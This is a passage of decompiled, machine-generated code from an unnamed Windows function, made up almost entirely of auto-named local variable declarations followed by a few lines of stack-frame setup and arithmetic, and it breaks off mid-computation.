				intOrPtr _v400;
				intOrPtr _v404;
				intOrPtr _v408;
				intOrPtr _v412;
				intOrPtr _v416;
				intOrPtr _v420;
				intOrPtr _v424;
				intOrPtr _v428;
				intOrPtr _v432;
				intOrPtr _v436;
				intOrPtr _v440;
				intOrPtr _v444;
				intOrPtr _v448;
				intOrPtr _v452;
				intOrPtr _v456;
				intOrPtr _v460;
				intOrPtr _v464;
				intOrPtr _v468;
				intOrPtr _v472;
				intOrPtr _v476;
				intOrPtr _v480;
				intOrPtr _v484;
				intOrPtr _v488;
				intOrPtr _v492;
				intOrPtr _v496;
				intOrPtr _v500;
				intOrPtr _v504;
				intOrPtr _v508;
				intOrPtr _v512;
				intOrPtr _v516;
				intOrPtr _v520;
				intOrPtr _v524;
				intOrPtr _v528;
				intOrPtr _v532;
				intOrPtr _v536;
				intOrPtr _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				char _v552;
				intOrPtr _v560;
				char _v576;
				char _v600;
				signed int _v608;
				char _v624;
				signed int _v632;
				char _v648;
				char _v672;
				signed int _v680;
				char _v696;
				intOrPtr _v704;
				char _v720;
				intOrPtr _v728;
				char _v744;
				signed int _v752;
				char _v768;
				signed int _v776;
				char _v792;
				signed int _v796;
				char _v797;
				char _v798;
				char _v799;
				char _v800;
				char _v801;
				char _v802;
				char _v803;
				char _v804;
				char _v805;
				char _v806;
				char _v807;
				char _v808;
				char _v809;
				char _v810;
				char _v811;
				char _v812;
				char _v813;
				signed char _v814;
				char _v815;
				char _v816;
				char _v817;
				char _v818;
				char _v819;
				char _v820;
				char _v821;
				char _v822;
				char _v823;
				char _v824;
				char _v825;
				char _v826;
				signed char _v827;
				char _v828;
				char _v829;
				char _v830;
				char _v831;
				signed int _v832;
				signed char _v833;
				char _v834;
				char _v835;
				char _v836;
				char _v837;
				char _v838;
				char _v839;
				char _v840;
				char _v841;
				signed char _v842;
				char _v843;
				char _v844;
				char _v845;
				char _v846;
				signed int _v847;
				signed char _v848;
				char _v849;
				char _v850;
				char _v851;
				char _v852;
				char _v853;
				char _v854;
				char _v855;
				char _v856;
				signed char _v857;
				char _v858;
				char _v859;
				char _v860;
				char _v861;
				char _v862;
				char _v863;
				char _v864;
				char _v865;
				char _v866;
				char _v867;
				char _v868;
				char _v869;
				char _v870;
				char _v871;
				char _v872;
				char _v873;
				char _v874;
				char _v875;
				char _v876;
				char _v877;
				char _v878;
				char _v879;
				char _v880;
				char _v881;
				signed char _v882;
				char _v883;
				char _v884;
				char _v885;
				char _v886;
				char _v887;
				char _v888;
				char _v889;
				char _v890;
				char _v891;
				char _v892;
				char _v893;
				char _v894;
				char _v895;
				char* _v900;
				intOrPtr* _v904;
				char* _v908;
				char* _v912;
				char* _v916;
				intOrPtr* _v920;
				char* _v924;
				signed int _v928;
				signed int _v932;
				char _v936;
				char _v940;
				char _v944;
				char _v948;
				char _v952;
				char _v956;
				char _v960;
				char _v964;
				char _v968;
				char _v972;
				char _v976;
				char _v980;
				char _v984;
				char _v988;
				char _v992;
				char _v996;
				char _v1000;
				char _v1004;
				char _v1008;
				char _v1012;
				char _v1016;
				char _v1020;
				char _v1024;
				char _v1028;
				char _v1032;
				char _v1036;
				char _v1040;
				char _v1044;
				char _v1048;
				char _v1052;
				char _v1056;
				char _v1060;
				char _v1064;
				char _v1068;
				char _v1072;
				char _v1076;
				char _v1080;
				char _v1084;
				char _v1088;
				char _v1092;
				char _v1096;
				char _v1100;
				char _v1104;
				char _v1108;
				char _v1112;
				char _v1116;
				char _v1120;
				char _v1124;
				char _v1128;
				char _v1132;
				char _v1136;
				char _v1140;
				char _v1144;
				char _v1148;
				char _v1152;
				intOrPtr _v1156;
				char* _v1160;
				char* _v1164;
				char* _v1168;
				char* _v1172;
				char* _v1176;
				char* _v1180;
				char* _v1184;
				char* _v1188;
				intOrPtr* _v1192;
				intOrPtr* _v1196;
				signed int _v1200;
				char* _v1204;
				char* _v1208;
				intOrPtr* _v1212;
				signed int _v1216;
				char* _v1220;
				char* _v1224;
				intOrPtr* _v1228;
				signed int _v1232;
				intOrPtr* _v1236;
				char* _v1240;
				char* _v1244;
				char* _v1248;
				intOrPtr* _v1252;
				signed int _v1256;
				intOrPtr* _v1260;
				char* _v1264;
				char* _v1268;
				char* _v1272;
				intOrPtr* _v1276;
				char _v1280;
				signed int _v1284;
				char _v1288;
				char _v1292;
				char _v1296;
				char _v1300;
				char _v1304;
				char _v1308;
				char _v1312;
				char _v1316;
				char _v1320;
				char _v1324;
				char _v1328;
				char _v1332;
				char _v1336;
				char _v1340;
				char _v1344;
				char _v1348;
				char _v1352;
				char _v1356;
				char _v1360;
				char _v1364;
				char _v1368;
				char _v1372;
				char _v1376;
				char _v1380;
				char _v1384;
				char _v1388;
				char _v1392;
				char _v1396;
				char _v1400;
				char _v1404;
				char _v1408;
				char _v1412;
				char _v1416;
				intOrPtr _v1420;
				intOrPtr _v1424;
				signed int _v1428;
				char _v1432;
				intOrPtr _v1436;
				signed int _v1440;
				intOrPtr _v1444;
				intOrPtr _v1448;
				intOrPtr _v1452;
				intOrPtr _v1456;
				intOrPtr _v1460;
				intOrPtr _v1464;
				intOrPtr* _v1468;
				intOrPtr _v1472;
				intOrPtr _v1476;
				intOrPtr _v1480;
				intOrPtr _v1484;
				intOrPtr _v1488;
				char _v1492;
				intOrPtr _v1496;
				intOrPtr _v1500;
				signed int _v1504;
				intOrPtr _v1508;
				intOrPtr _v1512;
				intOrPtr _v1516;
				char _v1520;
				intOrPtr _v1524;
				signed int _v1528;
				intOrPtr _v1532;
				intOrPtr _v1536;
				intOrPtr _v1540;
				char _v1544;
				intOrPtr _v1548;
				intOrPtr _v1552;
				signed int _v1556;
				signed int _v1560;
				intOrPtr _v1564;
				signed int _v1568;
				intOrPtr _v1572;
				intOrPtr _v1576;
				intOrPtr _v1580;
				signed int _v1584;
				intOrPtr* _v1588;
				signed int _v1592;
				intOrPtr* _v1596;
				signed int _v1600;
				intOrPtr* _v1604;
				signed int _v1608;
				intOrPtr* _v1612;
				intOrPtr _v1616;
				intOrPtr _v1620;
				intOrPtr _v1624;
				intOrPtr _v1628;
				intOrPtr _v1632;
				intOrPtr _v1636;
				intOrPtr _v1640;
				intOrPtr _v1644;
				intOrPtr _v1648;
				intOrPtr _v1652;
				intOrPtr _v1656;
				intOrPtr _v1660;
				char* _v1664;
				intOrPtr _v1668;
				intOrPtr _v1672;
				intOrPtr _v1676;
				intOrPtr _v1680;
				intOrPtr _v1684;
				intOrPtr _v1688;
				intOrPtr _v1692;
				intOrPtr _v1696;
				intOrPtr _v1700;
				intOrPtr _v1704;
				char* _v1708;
				intOrPtr _v1712;
				intOrPtr _v1716;
				intOrPtr _v1720;
				intOrPtr _v1724;
				intOrPtr _v1728;
				intOrPtr _v1732;
				intOrPtr _v1736;
				intOrPtr _v1740;
				intOrPtr _v1744;
				intOrPtr _v1748;
				intOrPtr _v1752;
				intOrPtr _v1756;
				intOrPtr _v1760;
				intOrPtr _v1764;
				intOrPtr _v1768;
				signed int _v1772;
				intOrPtr _v1776;
				intOrPtr _v1780;
				intOrPtr _v1784;
				intOrPtr _v1788;
				intOrPtr _v1792;
				intOrPtr _v1796;
				intOrPtr _v1800;
				intOrPtr _v1804;
				intOrPtr _v1808;
				signed int _v1812;
				intOrPtr _v1816;
				intOrPtr _v1820;
				intOrPtr _v1824;
				intOrPtr _v1828;
				intOrPtr _v1832;
				intOrPtr _v1836;
				intOrPtr _v1840;
				intOrPtr _v1844;
				intOrPtr _v1848;
				signed int _v1852;
				signed int _v1856;
				signed int _v1860;
				intOrPtr _v1864;
				signed int _v1868;
				signed int _v1872;
				signed int _v1876;
				intOrPtr _v1880;
				intOrPtr _v1884;
				signed int _v1888;
				intOrPtr _v1892;
				intOrPtr _v1896;
				intOrPtr _v1900;
				signed int _v1904;
				intOrPtr _v1908;
				signed int _v1912;
				signed int _v1916;
				intOrPtr _v1920;
				signed int _v1924;
				intOrPtr _v1928;
				intOrPtr _v1932;
				intOrPtr _v1936;
				intOrPtr _v1940;
				intOrPtr _v1944;
				intOrPtr _v1948;
				signed int _v1952;
				signed int _v1956;
				signed int _v1960;
				intOrPtr _v1964;
				signed int _v1968;
				signed int _v1972;
				signed int _v1976;
				intOrPtr _v1980;
				intOrPtr _v1984;
				signed int _v1988;
				intOrPtr _v1992;
				intOrPtr _v1996;
				intOrPtr _v2000;
				signed int _v2004;
				intOrPtr _v2008;
				signed int _v2012;
				signed int _v2016;
				intOrPtr _v2020;
				signed int _v2024;
				signed int _v2028;
				intOrPtr _v2032;
				char _v2036;
				intOrPtr _v2040;
				intOrPtr _v2044;
				intOrPtr _v2048;
				intOrPtr _v2052;
				intOrPtr _v2056;
				intOrPtr _v2060;
				intOrPtr _v2064;
				intOrPtr _v2068;
				intOrPtr _v2072;
				intOrPtr _v2076;
				signed int _v2080;
				signed int _v2084;
				intOrPtr _v2088;
				char _v2092;
				signed int _v2096;
				intOrPtr _v2100;
				signed int _v2104;
				signed int _v2108;
				intOrPtr _v2112;
				intOrPtr _v2116;
				signed int _v2120;
				intOrPtr _v2124;
				intOrPtr _v2128;
				intOrPtr _v2132;
				signed int _v2136;
				intOrPtr _v2140;
				signed int _v2144;
				signed int _v2148;
				signed int _v2152;
				intOrPtr _v2156;
				intOrPtr _v2160;
				char _v2164;
				intOrPtr _v2168;
				intOrPtr _v2172;
				intOrPtr _v2176;
				signed int _v2180;
				signed int _v2184;
				intOrPtr _v2188;
				intOrPtr _v2192;
				char _v2196;
				intOrPtr _v2200;
				intOrPtr _v2204;
				signed int _v2208;
				signed int _v2212;
				intOrPtr _v2216;
				intOrPtr _v2220;
				signed int _v2224;
				intOrPtr _v2228;
				signed int _v2232;
				signed int _v2236;
				intOrPtr _v2240;
				intOrPtr _v2244;
				signed int _v2248;
				intOrPtr _v2252;
				intOrPtr _v2256;
				intOrPtr _v2260;
				signed int _v2264;
				signed int _v2268;
				intOrPtr _v2272;
				char _v2276;
				intOrPtr _v2280;
				intOrPtr _v2284;
				signed int _v2288;
				signed int _v2292;
				intOrPtr _v2296;
				intOrPtr _v2300;
				signed int _v2304;
				intOrPtr _v2308;
				signed int _v2312;
				signed int _v2316;
				intOrPtr _v2320;
				intOrPtr _v2324;
				signed int _v2328;
				intOrPtr _v2332;
				intOrPtr _v2336;
				intOrPtr _v2340;
				signed int _v2344;
				intOrPtr _v2348;
				intOrPtr _v2352;
				signed int _v2356;
				signed int _v2360;
				intOrPtr _v2364;
				intOrPtr _v2368;
				char _v2372;
				intOrPtr _v2376;
				intOrPtr _v2380;
				signed int _v2384;
				signed int _v2388;
				intOrPtr _v2392;
				intOrPtr _v2396;
				intOrPtr _v2400;
				intOrPtr _v2404;
				signed int _v2408;
				signed int _v2412;
				intOrPtr _v2416;
				intOrPtr _v2420;
				signed int _v2424;
				intOrPtr _v2428;
				intOrPtr _v2432;
				intOrPtr _v2436;
				intOrPtr _v2440;
				signed int _v2444;
				intOrPtr _v2448;
				char _v2452;
				intOrPtr _v2456;
				intOrPtr _v2460;
				intOrPtr _v2464;
				signed int _v2468;
				signed int _v2472;
				intOrPtr _v2476;
				intOrPtr _v2480;
				char _v2484;
				intOrPtr _v2488;
				intOrPtr _v2492;
				signed int _v2496;
				signed int _v2500;
				intOrPtr _v2504;
				intOrPtr _v2508;
				signed int _v2512;
				intOrPtr _v2516;
				signed int _v2520;
				signed int _v2524;
				intOrPtr _v2528;
				intOrPtr _v2532;
				signed int _v2536;
				intOrPtr _v2540;
				intOrPtr _v2544;
				intOrPtr _v2548;
				signed int _v2552;
				signed int _v2556;
				intOrPtr _v2560;
				char _v2564;
				intOrPtr _v2568;
				intOrPtr _v2572;
				intOrPtr _v2576;
				char _v2580;
				intOrPtr _v2584;
				intOrPtr _v2588;
				signed int _v2592;
				signed int _v2596;
				intOrPtr _v2600;
				intOrPtr _v2604;
				signed int _v2608;
				intOrPtr _v2612;
				signed int _v2616;
				signed int _v2620;
				intOrPtr _v2624;
				intOrPtr _v2628;
				signed int _v2632;
				intOrPtr _v2636;
				intOrPtr _v2640;
				intOrPtr _v2644;
				signed int _v2648;
				signed int _v2652;
				signed int _v2656;
				signed int _v2660;
				intOrPtr _v2664;
				intOrPtr _v2668;
				signed int _v2672;
				intOrPtr _v2676;
				signed int _v2680;
				signed int _v2684;
				intOrPtr _v2688;
				intOrPtr _v2692;
				signed int _v2696;
				intOrPtr _v2700;
				intOrPtr _v2704;
				intOrPtr _v2708;
				signed int _v2712;
				intOrPtr _v2716;
				intOrPtr _v2720;
				intOrPtr _v2724;
				signed int _v2728;
				intOrPtr _v2732;
				intOrPtr _v2736;
				intOrPtr _v2740;
				intOrPtr _v2744;
				intOrPtr _v2748;
				intOrPtr _v2752;
				char _v2756;
				intOrPtr _v2760;
				intOrPtr _v2764;
				intOrPtr _v2768;
				intOrPtr _v2772;
				intOrPtr _v2776;
				intOrPtr _v2780;
				intOrPtr _v2784;
				intOrPtr _v2788;
				intOrPtr _v2792;
				intOrPtr _v2796;
				intOrPtr _v2800;
				char _v2804;
				intOrPtr _v2808;
				intOrPtr _v2812;
				signed int _v2816;
				signed int _v2820;
				intOrPtr _v2824;
				intOrPtr _v2828;
				signed int _v2832;
				intOrPtr _v2836;
				signed int _v2840;
				signed int _v2844;
				intOrPtr _v2848;
				intOrPtr _v2852;
				signed int _v2856;
				intOrPtr _v2860;
				intOrPtr _v2864;
				intOrPtr _v2868;
				signed int _v2872;
				intOrPtr _v2876;
				intOrPtr _v2880;
				intOrPtr _v2884;
				signed int _v2888;
				intOrPtr _v2892;
				intOrPtr _v2896;
				char _v2900;
				intOrPtr _v2904;
				intOrPtr _v2908;
				intOrPtr _v2912;
				intOrPtr _v2916;
				intOrPtr _v2920;
				intOrPtr _v2924;
				intOrPtr _v2928;
				intOrPtr _v2932;
				intOrPtr _v2936;
				intOrPtr _v2940;
				intOrPtr _v2944;
				char _v2948;
				intOrPtr _v2952;
				intOrPtr _v2956;
				intOrPtr _v2960;
				intOrPtr _v2964;
				intOrPtr _v2968;
				intOrPtr _v2972;
				intOrPtr _v2976;
				char _v2980;
				intOrPtr _v2984;
				intOrPtr _v2988;
				intOrPtr _v2992;
				char _v2996;
				intOrPtr _v3000;
				intOrPtr _v3004;
				intOrPtr _v3008;
				char _v3012;
				intOrPtr _v3016;
				intOrPtr _v3020;
				intOrPtr _v3024;
				intOrPtr _v3028;
				intOrPtr _v3032;
				intOrPtr _v3036;
				intOrPtr _v3040;
				intOrPtr _v3044;
				intOrPtr _v3048;
				intOrPtr _v3052;
				signed int _v3056;
				signed int _v3060;
				intOrPtr _v3064;
				intOrPtr _v3068;
				intOrPtr _v3072;
				char _v3076;
				intOrPtr _v3080;
				intOrPtr _v3084;
				signed int _v3088;
				signed int _v3092;
				intOrPtr _v3096;
				intOrPtr _v3100;
				signed int _v3104;
				intOrPtr _v3108;
				signed int _v3112;
				signed int _v3116;
				intOrPtr _v3120;
				intOrPtr _v3124;
				signed int _v3128;
				intOrPtr _v3132;
				intOrPtr _v3136;
				intOrPtr _v3140;
				intOrPtr _v3144;
				intOrPtr _v3148;
				intOrPtr _v3152;
				intOrPtr _v3156;
				intOrPtr _v3160;
				intOrPtr _v3164;
				intOrPtr _v3168;
				char _v3172;
				intOrPtr _v3176;
				intOrPtr _v3180;
				intOrPtr _v3184;
				intOrPtr _v3188;
				intOrPtr _v3192;
				intOrPtr _v3196;
				intOrPtr _v3200;
				intOrPtr _v3204;
				intOrPtr _v3208;
				intOrPtr _v3212;
				intOrPtr _v3216;
				char _v3220;
				intOrPtr _v3224;
				intOrPtr _v3228;
				intOrPtr _v3232;
				intOrPtr _v3236;
				intOrPtr _v3240;
				intOrPtr _v3244;
				intOrPtr _v3248;
				intOrPtr _v3252;
				intOrPtr _v3256;
				intOrPtr _v3260;
				signed int _v3264;
				signed int _v3268;
				intOrPtr _v3272;
				intOrPtr _v3276;
				intOrPtr _v3280;
				char _v3284;
				intOrPtr _v3288;
				intOrPtr _v3292;
				signed int _v3296;
				signed int _v3300;
				intOrPtr _v3304;
				intOrPtr _v3308;
				signed int _v3312;
				intOrPtr _v3316;
				signed int _v3320;
				signed int _v3324;
				intOrPtr _v3328;
				intOrPtr _v3332;
				signed int _v3336;
				intOrPtr _v3340;
				intOrPtr _v3344;
				intOrPtr _v3348;
				intOrPtr _v3352;
				intOrPtr _v3356;
				intOrPtr _v3360;
				intOrPtr _v3364;
				intOrPtr _v3368;
				intOrPtr _v3372;
				intOrPtr _v3376;
				char _v3380;
				intOrPtr _v3384;
				intOrPtr _v3388;
				intOrPtr _v3392;
				intOrPtr _v3396;
				intOrPtr _v3400;
				intOrPtr _v3404;
				intOrPtr _v3408;
				intOrPtr _v3412;
				intOrPtr _v3416;
				intOrPtr _v3420;
				intOrPtr _v3424;
				char _v3428;
				intOrPtr _v3432;
				intOrPtr _v3436;
				intOrPtr _v3440;
				intOrPtr _v3444;
				intOrPtr _v3448;
				intOrPtr _v3452;
				intOrPtr _v3456;
				intOrPtr _v3460;
				signed int _v3464;
				signed int _v3468;
				intOrPtr _v3472;
				intOrPtr _v3476;
				intOrPtr _v3480;
				signed int _v3484;
				intOrPtr _v3488;
				intOrPtr* _v3492;
				intOrPtr* _v3496;
				intOrPtr* _v3500;
				signed int _v3504;
				intOrPtr* _v3508;
				intOrPtr _v3512;
				intOrPtr _v3516;
				intOrPtr _v3520;
				intOrPtr* _v3524;
				intOrPtr* _v3528;
				intOrPtr* _v3532;
				signed int _v3536;
				intOrPtr* _v3540;
				intOrPtr _v3544;
				intOrPtr _v3548;
				signed int _v3552;
				signed int _v3556;
				intOrPtr _v3560;
				signed int _v3564;
				signed int _v3568;
				signed int _v3576;
				signed int _v3580;
				signed int _v3584;
				signed int _v3588;
				intOrPtr _v3600;
				intOrPtr _v3604;
				intOrPtr _v3608;
				char _v3612;
				intOrPtr _v3616;
				intOrPtr _v3620;
				intOrPtr _v3624;
				char _v3628;
				intOrPtr _v3632;
				intOrPtr _v3636;
				intOrPtr _v3640;
				char _v3644;
				intOrPtr _v3648;
				intOrPtr _v3652;
				intOrPtr _v3656;
				char _v3660;
				intOrPtr _v3664;
				intOrPtr _v3668;
				intOrPtr _v3672;
				char _v3676;
				intOrPtr _v3680;
				intOrPtr _v3684;
				intOrPtr _v3688;
				char _v3692;
				intOrPtr _v3696;
				intOrPtr _v3700;
				intOrPtr _v3704;
				char _v3708;
				intOrPtr _v3712;
				intOrPtr _v3716;
				intOrPtr _v3720;
				char _v3724;
				intOrPtr _v3728;
				intOrPtr _v3732;
				intOrPtr _v3736;
				char _v3740;
				intOrPtr _v3744;
				intOrPtr _v3748;
				intOrPtr _v3752;
				char _v3756;
				intOrPtr _v3760;
				intOrPtr _v3764;
				intOrPtr _v3768;
				char _v3772;
				intOrPtr _v3776;
				intOrPtr _v3780;
				intOrPtr _v3784;
				char _v3788;
				intOrPtr _v3792;
				intOrPtr _v3796;
				intOrPtr _v3800;
				char _v3804;
				intOrPtr _v3808;
				intOrPtr _v3812;
				intOrPtr _v3816;
				char _v3820;
				intOrPtr _v3824;
				intOrPtr _v3828;
				intOrPtr _v3832;
				char _v3836;
				intOrPtr _v3840;
				intOrPtr _v3844;
				intOrPtr _v3848;
				char _v3852;
				intOrPtr _v3856;
				intOrPtr _v3860;
				intOrPtr _v3864;
				char _v3868;
				intOrPtr _v3872;
				intOrPtr _v3876;
				intOrPtr _v3880;
				intOrPtr _v3884;
				intOrPtr _v3888;
				intOrPtr _v3892;
				intOrPtr _v3896;
				char _v3900;
				intOrPtr _v3904;
				intOrPtr _v3908;
				intOrPtr _v3912;
				intOrPtr _v3916;
				intOrPtr _v3920;
				intOrPtr _v3924;
				intOrPtr _v3928;
				intOrPtr _v3932;
				intOrPtr _v3936;
				intOrPtr _v3940;
				intOrPtr _v3944;
				char _v3948;
				intOrPtr _v3952;
				intOrPtr _v3956;
				intOrPtr _v3960;
				intOrPtr _v3964;
				intOrPtr _v3968;
				intOrPtr _v3972;
				intOrPtr _v3976;
				intOrPtr _v3980;
				intOrPtr _v3984;
				intOrPtr _v3988;
				intOrPtr _v3992;
				char _v3996;
				intOrPtr _v4000;
				intOrPtr _v4004;
				intOrPtr _v4008;
				intOrPtr _v4012;
				intOrPtr _v4016;
				intOrPtr _v4020;
				intOrPtr _v4024;
				intOrPtr _v4028;
				intOrPtr _v4032;
				intOrPtr _v4036;
				intOrPtr _v4040;
				char _v4044;
				intOrPtr _v4048;
				intOrPtr _v4052;
				intOrPtr _v4056;
				intOrPtr _v4060;
				intOrPtr _v4064;
				intOrPtr _v4068;
				intOrPtr _v4072;
				intOrPtr _v4076;
				intOrPtr _v4080;
				intOrPtr _v4084;
				intOrPtr _v4088;
				char _v4092;
				intOrPtr _v4096;
				intOrPtr _v4100;
				char* _v4104;
				intOrPtr _v4108;
				intOrPtr _v4112;
				intOrPtr _v4116;
				intOrPtr _v4120;
				intOrPtr _v4124;
				intOrPtr _v4128;
				intOrPtr _v4132;
				intOrPtr _v4136;
				intOrPtr _v4140;
				intOrPtr _v4144;
				signed int _v4148;
				intOrPtr _v4152;
				intOrPtr _v4156;
				intOrPtr _v4160;
				intOrPtr _v4164;
				intOrPtr _v4168;
				intOrPtr _v4172;
				intOrPtr _v4176;
				intOrPtr _v4180;
				intOrPtr _v4184;
				intOrPtr _v4188;
				intOrPtr _v4192;
				intOrPtr _v4196;
				intOrPtr _v4200;
				intOrPtr _v4204;
				intOrPtr* _v4208;
				intOrPtr _v4212;
				signed int _v4216;
				intOrPtr _v4220;
				intOrPtr _v4224;
				intOrPtr _v4228;
				intOrPtr* _v4232;
				intOrPtr _v4236;
				char* _v4240;
				intOrPtr _v4244;
				intOrPtr _v4248;
				intOrPtr _v4252;
				signed int _v4256;
				intOrPtr _v4260;
				intOrPtr _v4264;
				intOrPtr _v4268;
				intOrPtr _v4272;
				intOrPtr _v4276;
				intOrPtr _v4280;
				intOrPtr _v4284;
				intOrPtr _v4288;
				intOrPtr _v4292;
				intOrPtr _v4296;
				intOrPtr _v4300;
				intOrPtr _v4304;
				intOrPtr _v4308;
				intOrPtr _v4312;
				intOrPtr _v4316;
				intOrPtr _v4320;
				char _v4332;
				char _v4344;
				char _v5700;
				char _v5724;
				char _v5908;
				char _v5932;
				char _v5956;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t2196;
				signed int _t2197;
				intOrPtr _t2200;
				intOrPtr _t2202;
				intOrPtr _t2203;
				void* _t2205;
				intOrPtr _t2207;
				void* _t2210;
				intOrPtr _t2212;
				void* _t2214;
				void* _t2216;
				signed int _t2242;
				signed int _t2253;
				intOrPtr _t2290;
				signed int _t2292;
				signed int _t2310;
				intOrPtr _t2312;
				intOrPtr _t2313;
				void* _t2315;
				intOrPtr _t2317;
				void* _t2320;
				intOrPtr _t2322;
				void* _t2324;
				void* _t2326;
				signed int _t2355;
				void* _t2358;
				void* _t2361;
				intOrPtr _t2364;
				signed int _t2367;
				intOrPtr _t2370;
				intOrPtr _t2371;
				void* _t2373;
				intOrPtr _t2375;
				void* _t2378;
				intOrPtr _t2380;
				void* _t2382;
				void* _t2384;
				signed int _t2413;
				void* _t2416;
				void* _t2419;
				intOrPtr _t2422;
				intOrPtr _t2437;
				signed int _t2449;
				signed int _t2469;
				void* _t2472;
				void* _t2475;
				intOrPtr _t2478;
				signed int _t2481;
				void* _t2484;
				void* _t2487;
				intOrPtr _t2490;
				signed int _t2502;
				signed int _t2505;
				intOrPtr _t2509;
				intOrPtr _t2510;
				void* _t2512;
				intOrPtr _t2514;
				void* _t2517;
				signed int _t2518;
				signed int _t2525;
				signed int _t2547;
				intOrPtr _t2554;
				signed int _t2567;
				void* _t2570;
				void* _t2573;
				intOrPtr _t2576;
				signed int _t2579;
				void* _t2582;
				void* _t2585;
				intOrPtr _t2588;
				signed int _t2599;
				signed int _t2602;
				intOrPtr _t2606;
				intOrPtr _t2607;
				void* _t2609;
				intOrPtr _t2611;
				void* _t2614;
				signed int _t2615;
				signed int _t2622;
				signed int _t2642;
				signed int _t2673;
				void* _t2676;
				void* _t2679;
				intOrPtr _t2682;
				intOrPtr _t2685;
				intOrPtr _t2687;
				void* _t2689;
				intOrPtr _t2691;
				void* _t2694;
				intOrPtr _t2696;
				signed int _t2714;
				signed int _t2715;
				void* _t2718;
				void* _t2721;
				intOrPtr _t2724;
				signed int _t2763;
				signed int _t2777;
				signed int _t2804;
				intOrPtr _t2806;
				intOrPtr _t2808;
				void* _t2810;
				intOrPtr _t2812;
				void* _t2815;
				intOrPtr _t2817;
				intOrPtr _t2824;
				intOrPtr _t2825;
				void* _t2827;
				void* _t2829;
				intOrPtr _t2830;
				intOrPtr _t2858;
				intOrPtr _t2859;
				void* _t2861;
				void* _t2863;
				intOrPtr _t2864;
				intOrPtr _t2889;
				intOrPtr _t2901;
				intOrPtr _t2927;
				intOrPtr _t2929;
				void* _t2931;
				intOrPtr _t2933;
				void* _t2936;
				intOrPtr _t2938;
				void* _t2951;
				signed int _t2957;
				signed int _t2979;
				signed int _t3017;
				signed int _t3051;
				signed int _t3081;
				signed int _t3116;
				signed int _t3153;
				signed int _t3161;
				signed int _t3178;
				signed int _t3219;
				signed int _t3227;
				signed int _t3243;
				intOrPtr _t3289;
				signed int _t3339;
				signed int _t3361;
				signed int _t3385;
				signed int _t3429;
				signed int _t3456;
				signed int _t3496;
				void* _t3523;
				intOrPtr _t3526;
				signed int _t3527;
				signed int _t3547;
				signed int _t3548;
				signed int _t3551;
				signed int _t3578;
				signed int _t3579;
				signed int _t3582;
				intOrPtr _t3599;
				signed int _t3600;
				signed int _t3617;
				signed int _t3618;
				signed int _t3619;
				intOrPtr _t3620;
				intOrPtr _t3624;
				signed int _t3625;
				signed int _t3642;
				signed int _t3643;
				signed int _t3644;
				intOrPtr _t3645;
				intOrPtr _t3646;
				signed int _t3663;
				signed int _t3664;
				intOrPtr _t3670;
				intOrPtr _t3681;
				signed int _t3684;
				intOrPtr _t3685;
				intOrPtr _t3686;
				signed int _t3687;
				intOrPtr _t3688;
				intOrPtr _t3689;
				signed int _t3694;
				intOrPtr _t3700;
				signed int _t3706;
				signed int _t3708;
				signed int _t3723;
				signed int _t3724;
				intOrPtr _t3730;
				intOrPtr _t3740;
				signed int _t3743;
				intOrPtr _t3744;
				signed int _t3745;
				intOrPtr _t3746;
				signed int _t3751;
				intOrPtr _t3757;
				signed int _t3763;
				signed int _t3765;
				intOrPtr _t3785;
				signed int _t3801;
				signed int _t3802;
				intOrPtr _t3803;
				intOrPtr _t3804;
				signed int _t3814;
				signed int _t3815;
				intOrPtr _t3816;
				signed int _t3828;
				signed int _t3829;
				signed int _t3832;
				signed int _t3844;
				signed int _t3845;
				signed int _t3848;
				intOrPtr _t3863;
				signed int _t3875;
				signed int _t3889;
				signed int _t3890;
				signed int _t3893;
				signed int _t3913;
				signed int _t3914;
				signed int _t3917;
				signed int _t3940;
				signed int _t3941;
				signed int _t3944;
				void* _t3947;
				void* _t3956;
				void* _t3960;
				void* _t3982;
				void* _t4012;
				signed int _t4015;
				void* _t4016;
				intOrPtr _t4019;
				intOrPtr _t4020;
				intOrPtr _t4021;
				void* _t4022;
				intOrPtr _t4023;
				intOrPtr _t4024;
				intOrPtr _t4025;
				void* _t4026;
				intOrPtr _t4027;
				intOrPtr _t4028;
				intOrPtr _t4029;
				void* _t4030;
				intOrPtr _t4033;
				intOrPtr _t4034;
				intOrPtr _t4035;
				void* _t4036;
				void* _t4037;
				intOrPtr _t4040;
				intOrPtr _t4041;
				intOrPtr _t4042;
				void* _t4043;
				intOrPtr _t4048;
				intOrPtr _t4049;
				intOrPtr _t4050;
				intOrPtr _t4051;
				intOrPtr _t4052;
				void* _t4056;
				void* _t4057;
				void* _t4058;
				void* _t4075;
				void* _t4077;

				_t4058 = __eflags;
				_t3523 = __edx;
				_t2951 = _t4012;
				_t4015 = (_t4012 - 0x00000008 & 0xfffffff0) + 4;
				_v8 =  *((intOrPtr*)(_t2951 + 4));
				_t4010 = _t4015;
				_push(0xffffffff);
				_push(0x9c4e23);
				_push( *[fs:0x0]);
				_push(_t2951);
				E009C3500(0x1728);
				_t2196 =  *0x9d2008; // 0x9fef24bf
				_t2197 = _t2196 ^ _t4015;
				_v32 = _t2197;
				_push(_t3960);
				_push(_t3947);
				_push(_t2197);
				 *[fs:0x0] =  &_v24;
				_v796 = 0;
				E00971810( &_v576, 0x9ccb50);
				_v16 = 0;
				_push(0x80);
				_t2200 = E009AC4F3(_t3523, _t4058);
				_t4016 = _t4015 + 4;
				_v1156 = _t2200;
				_v16 = 1;
				_t4059 = _v1156;
				if(_v1156 == 0) {
					_v1432 = 0;
				} else {
					E009ADBB0(_t3947, _v1156, 0, 0x80);
					_t4016 = _t4016 + 0xc;
					_v1432 = E0099FF90(_v1156, _t3947, _t3960, _t4059);
				}
				_v3440 = _v1432;
				_v16 = 0;
				_v3460 = _v3440;
				_v862 = 0;
				_v863 = 0;
				_v864 = 0;
				_t2202 =  *0x9d28d0; // 0x3a
				asm("cdq");
				asm("adc edi, 0x0");
				_t2203 =  *0x9d28d4; // 0xfc
				asm("cdq");
				asm("adc edx, 0x0");
				_t2205 = E009C3280(_t2203 + 0x4579, 0, 0x4579, 0);
				asm("adc eax, 0x0");
				_v3444 = 0;
				_t2207 =  *0x9d28d4; // 0xfc
				asm("cdq");
				asm("adc edx, 0x0");
				_t2210 = E009C3280(_t2205 + 0xa, _v3444, _t2207 + 9, 0);
				asm("adc edi, edx");
				asm("adc edi, 0x0");
				_v3452 = E00972730(_t2202 + 9 + _t2210 + 0x4579, 0);
				_t3526 =  *0x9d28cc; // 0x0
				_t2212 =  *0x9d28c8; // 0x4c
